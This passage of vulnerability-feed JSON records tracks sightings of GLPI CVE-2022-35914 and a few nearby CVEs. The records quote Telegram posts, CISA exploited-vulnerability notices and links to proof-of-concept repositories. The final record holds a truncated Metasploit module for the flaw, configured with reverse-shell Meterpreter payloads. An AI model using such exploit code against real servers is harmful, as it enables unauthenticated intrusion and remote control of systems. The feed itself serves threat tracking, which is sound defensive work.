"published-proof-of-concept", "source": "https://t.me/DEATHSHOPOFFICIAL/11", "content": "GLPI <=10.0.2 - RCE Vulnerability Checker                    \n#CVE-2022-35914\nOpen Source\nPlease Share Our Channel", "creation_timestamp": "2022-11-02T18:58:50.000000Z"}, {"uuid": "bf745aa8-773e-43ea-8f31-37d749c585b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/dilagrafie/2401", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-08T09:30:41.000000Z"}, {"uuid": "eead0b28-c205-42c5-8177-4a1f6642ff5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/lcmysecteamch/4527", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-09T04:45:51.000000Z"}, {"uuid": "bf131ebd-12bf-49da-966e-550bdb413746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/lcmysecteamch/12978", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-09T04:45:51.000000Z"}, {"uuid": "2d04d297-7490-4b7b-9643-999a930a97f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/915", "content": "", "creation_timestamp": "2023-07-23T05:36:22.000000Z"}, {"uuid": "67057f2d-ee4f-47ee-a424-cdbe122edec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/619", "content": "CVE-2022-35914\n\nUrl : glpi-project.org\n\nType : Remote Code Execution/Command Injection\n\n\"htmlawed module for GLPI through 10.0.2 allows PHP code injection.\"\n\nDetails:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35914\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-35914\n\nFor any problem @uncodeboss", "creation_timestamp": "2023-01-25T15:53:18.000000Z"}, {"uuid": "c37bee7f-437f-4754-9480-401df606fed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/559", "content": "CVE-2022-35914 : GLPI >= 9.5.4 & < 10.0.3 {htmlawed module /htmLawedTest.php} PHP code injection ( POC 1,2 TESTED IN APT)\nPOC : https://github.com/cosad3s/CVE-2022-35914-poc\nPOC : https://github.com/AruiBlog/CVE-2022-35914-GUI", "creation_timestamp": "2022-10-11T16:30:21.000000Z"}, {"uuid": "2ec666ff-fe5c-41c4-a1c1-4fdf82b633f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/553", "content": "CVE-2022-35914 : GLPI >= 9.5.4 & < 10.0.3 - Command injection\nPOC:https://github.com/cosad3s/CVE-2022-35914-poc", "creation_timestamp": "2022-10-10T16:30:23.000000Z"}, {"uuid": "bdb8802f-962d-4011-89d0-130b9cfc1a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/DailyToolz/576", "content": "GLPI - Commands Injection\nhttps://github.com/cosad3s/CVE-2022-35914-poc", "creation_timestamp": "2023-01-09T02:48:33.000000Z"}, {"uuid": "28327df8-c5be-4967-9d69-03704ea3b725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "Telegram/ywQI8LJdK5tqDXJQlRWTC1DeT6Wc8oKddbg055hoMKYN7dg", "content": "", "creation_timestamp": "2022-12-12T23:04:15.000000Z"}, {"uuid": "2f8d6188-8a0f-4422-b9c0-5d38b2f200ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35918", "type": "seen", "source": "https://t.me/ctinow/167429", "content": "https://ift.tt/pWNHzks\n[GHSA-8qw9-gf7w-42x5] Minor fix to previous patch for CVE-2022-35918", "creation_timestamp": "2024-01-12T18:46:48.000000Z"}, {"uuid": "6784c658-7a5c-470e-bb30-407a1f0778ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3591", "type": "seen", "source": "https://t.me/cibsecurity/53828", "content": "\u203c CVE-2022-3591 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0789.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-02T20:37:34.000000Z"}, {"uuid": "7c146ce7-263e-4d7a-9c68-f11312b699b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35910", "type": "seen", "source": "https://t.me/cibsecurity/48430", "content": "\u203c CVE-2022-35910 \u203c\n\nIn Jellyfin before 10.8, stored XSS allows theft of an admin access token.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-19T16:17:21.000000Z"}, {"uuid": "67ee4fd5-6217-457e-9b28-348b62d335a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35918", "type": "seen", "source": "https://t.me/cibsecurity/47391", "content": "\u203c CVE-2022-35918 \u203c\n\nStreamlit is a data oriented application development framework for python. Users hosting Streamlit app(s) that use custom components are vulnerable to a directory traversal attack that could leak data from their web server file-system such as: server logs, world readable files, and potentially other sensitive information. An attacker can craft a malicious URL with file paths and the streamlit server would process that URL and return the contents of that file or overwrite existing files on the web-server. This issue has been resolved in version 1.11.1. Users are advised to upgrade. There are no known workarounds for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-02T02:17:16.000000Z"}, {"uuid": "31b4704b-ba3d-4745-978a-ff365569fa18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35919", "type": "seen", "source": "https://t.me/cibsecurity/47396", "content": "\u203c CVE-2022-35919 \u203c\n\nMinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. In affected versions all 'admin' users authorized for `admin:ServerUpdate` can selectively trigger an error that in response, returns the content of the path requested. Any normal OS system would allow access to contents at any arbitrary paths that are readable by MinIO process. Users are advised to upgrade. Users unable to upgrade may disable ServerUpdate API by denying the `admin:ServerUpdate` action for your admin users via IAM policies.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-02T07:55:43.000000Z"}, {"uuid": "502ab60d-2d72-4829-a7c2-57f6ab28d2fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35917", "type": "seen", "source": "https://t.me/cibsecurity/47390", "content": "\u203c CVE-2022-35917 \u203c\n\nSolana Pay is a protocol and set of reference implementations that enable developers to incorporate decentralized payments into their apps and services. When a Solana Pay transaction is located using a reference key, it may be checked to represent a transfer of the desired amount to the recipient, using the supplied `validateTransfer` function. An edge case regarding this mechanism could cause the validation logic to validate multiple transfers. This issue has been patched as of version `0.2.1`. Users of the Solana Pay SDK should upgrade to it. There are no known workarounds for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-02T02:17:15.000000Z"}, {"uuid": "ae50ec0b-bd31-496c-8376-7fb01b95b20b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35916", "type": "seen", "source": "https://t.me/cibsecurity/47389", "content": "\u203c CVE-2022-35916 \u203c\n\nOpenZeppelin Contracts is a library for secure smart contract development. Contracts using the cross chain utilities for Arbitrum L2, `CrossChainEnabledArbitrumL2` or `LibArbitrumL2`, will classify direct interactions of externally owned accounts (EOAs) as cross chain calls, even though they are not started on L1. This issue has been patched in v4.7.2. Users are advised to upgrade. There are no known workarounds for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-02T00:17:34.000000Z"}, {"uuid": "3238a64b-00f7-4c92-bb25-cf4f39864b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35915", "type": "seen", "source": "https://t.me/cibsecurity/47387", "content": "\u203c CVE-2022-35915 \u203c\n\nOpenZeppelin Contracts is a library for secure smart contract development. The target contract of an EIP-165 `supportsInterface` query can cause unbounded gas consumption by returning a lot of data, while it is generally assumed that this operation has a bounded cost. The issue has been fixed in v4.7.2. Users are advised to upgrade. There are no known workarounds for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-02T00:17:32.000000Z"}, {"uuid": "c59648e6-91c8-41b8-bbfd-3758ac67d9ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35911", "type": "seen", "source": "https://t.me/cibsecurity/47130", "content": "\u203c CVE-2022-35911 \u203c\n\nOn Patlite NH-FB series devices through 1.46, remote attackers can cause a denial of service by omitting the query string.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-28T00:36:42.000000Z"}, {"uuid": "9dbda93b-edd5-4b92-ba59-a2493826b5f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35912", "type": "seen", "source": "https://t.me/cibsecurity/46568", "content": "\u203c CVE-2022-35912 \u203c\n\nIn grails-databinding in Grails before 3.3.15, 4.x before 4.1.1, 5.x before 5.1.9, and 5.2.x before 5.2.1 (at least when certain Java 8 configurations are used), data binding allows a remote attacker to execute code by gaining access to the class loader.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-19T20:40:58.000000Z"}, {"uuid": "62418165-a544-49f8-ac50-1900e1b563a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/382", "content": "title=\"GLPI - \u767b\u9646\u5165\u53e3\"\nPython \u811a\u672c.py\uff08\u811a\u672c20\u884c\u4fee\u6539\u4e0b\u8f7d\u547d\u4ee4\uff09", "creation_timestamp": "2022-12-21T12:47:11.000000Z"}, {"uuid": "afbe8a29-df78-4785-8e1b-2e904d02f44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/thehackernews/3125", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-08T09:01:39.000000Z"}, {"uuid": "1af295ab-805f-4c53-96e7-dd0dc8632cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/legendscrewmy/2772", "content": "Hacker News:\n\n\ud83d\udea8 ALERT! If you're using MeetsApp or MeetUp on your Android device, you need to be aware of this!\n\nPakistani hackers are using these apps to target political and military personalities in India with CapraRAT backdoor.\n\nLearn more: https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html\n\nCybersecurity researchers have discovered a new information stealer, dubbed \"SYS01stealer,\" targeting critical government infrastructure employees, manufacturing companies, and other sectors.\n\nLearn more about it here: https://thehackernews.com/2023/03/sys01stealer-new-threat-using-facebook.html\n\nChinese cyberespionage hackers are targeting high-profile government entities in Southeast Asia with a new version of the Soul modular framework.\n\nLearn more: https://thehackernews.com/2023/03/sharp-panda-using-new-soul-framework.html\n\nCISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.html", "creation_timestamp": "2023-03-09T04:45:50.000000Z"}, {"uuid": "3ee862b9-9f14-4403-a62d-4634d577d91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/6910", "content": "#exploit\n1. CVE-2022-35914:\nGLPI <10.0.2 - PHP code injection\nhttps://github.com/cosad3s/CVE-2022-35914-poc\n\n2. CVE-2022-28282:\nFirefox - heap-use-after-free in DocumentL10n::TranslateDocument\nhttps://github.com/Pwnrin/CVE-2022-28282", "creation_timestamp": "2022-10-04T11:01:01.000000Z"}, {"uuid": "f9e380b7-429b-4c78-b7d0-7d1bc90c7841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/2986", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-35914\nGithub: https://github.com/cactuschibre/CVE-2022-35914-poc\nDescribe: \n/vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.", "creation_timestamp": "2026-08-01T02:00:04.324813Z"}, {"uuid": "040ccce2-3063-4b9c-8c12-ec82e0e99797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "Telegram/MVfTmsaSHIB0Ey-kxkJ2IT5SDI5JNsfPWKggKUAVISDEBZA", "content": "", "creation_timestamp": "2026-08-12T08:00:04.740937Z"}, {"uuid": "dc9c577a-814a-4cf7-8ef9-acd7296c8fc9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97dd506e-0aee-4384-a13c-756c8d9e7420", "content": "", "creation_timestamp": "2026-06-19T12:46:58.834967Z"}, {"uuid": "961f6991-6a8b-46a1-a06f-1781409b5cfd", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/614f3567-d5c2-40ac-82e6-536085743a97", "content": "", "creation_timestamp": "2026-06-23T14:05:37.594723Z"}, {"uuid": "c9f32eab-fc4f-45de-bf18-ec32ca2851ca", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/96455fd3-7be3-4013-956d-4c4d155b5f09", "content": "", "creation_timestamp": "2026-06-30T09:23:04.527518Z"}, {"uuid": "e073897b-e50a-4fda-9f7f-0e4ca49da651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/GithubRedTeam/97594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-35914\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cyb3rk0ala\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 15:04:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC exploit for CVE-2022-35914 \u2014 GLPI htmLawed command injection, command execution, and reverse shell support.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-11T16:00:04.174179Z"}, {"uuid": "cdb6277f-2fc4-4e9f-8c06-48a4699f6e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97604", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-35914-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cyb3rk0ala\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 15:48:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC exploit for CVE-2022-35914 \u2014 GLPI htmLawed command injection, command execution, and reverse shell support.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-11T17:00:03.662246Z"}, {"uuid": "d24e8fa1-260e-4e32-ac33-1b3d96d96354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "content": "", "creation_timestamp": "2026-07-13T10:15:07.249557Z"}, {"uuid": "3c087e0a-5113-410a-87ed-79209868bfc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2022-35914\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cyb3rk0ala\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 15:04:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC exploit for CVE-2022-35914 \u2014 GLPI htmLawed command injection, command execution, and reverse shell support.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-12T00:00:08.250906Z"}, {"uuid": "ce30eee9-6620-44a5-9286-dca19e480271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "Telegram/1kmbUvetEqH1k6Q9UGd2D2EeAvHZEo32cUAf6JVgYjqWc_8", "content": "", "creation_timestamp": "2026-07-22T17:00:04.679818Z"}, {"uuid": "0b0a7f0b-d924-42db-803e-93afe80e72e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "Telegram/1kmbUvetEqH1k6Q9UGd2D2EeAvHZEo32cUAf6JVgYjqWc_8", "content": "", "creation_timestamp": "2026-07-23T00:00:09.950841Z"}, {"uuid": "adca9411-2173-477f-9e02-d7fae29223cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/CVEhub/2986", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-35914\nGithub: https://github.com/cactuschibre/CVE-2022-35914-poc\nDescribe: \n/vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.", "creation_timestamp": "2026-07-29T12:00:59.976755Z"}, {"uuid": "8d483c4f-fcdb-4583-a1e4-599b592d1e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-01T17:00:22.004482Z"}, {"uuid": "bedf913b-f647-4831-bad9-6fb0e5036ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => 